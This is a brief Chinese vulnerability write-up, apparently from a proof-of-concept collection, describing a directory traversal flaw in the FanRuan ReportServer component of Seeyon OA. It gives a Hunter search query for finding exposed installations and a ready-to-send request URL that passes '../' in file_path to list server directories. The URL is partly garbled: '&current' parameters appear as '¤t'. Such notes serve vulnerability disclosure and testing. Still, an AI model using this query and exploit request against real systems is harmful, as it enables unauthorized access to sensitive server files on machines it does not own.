致远OA 帆软组件 ReportServer目录遍历漏洞
一、漏洞简介
致远OA 帆软组件 ReportServer接口存在目录遍历漏洞，攻击者通过漏洞可以获取服务器敏感信息。
二、影响版本
- 致远OA 帆软组件
三、资产测绘
- hunter
web.title="致远A8-V5协同管理软件 V6.1sp1" - 特征
四、漏洞复现
/seeyonreport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../¤tUserName=admin¤tUserId=1&isWebReport=true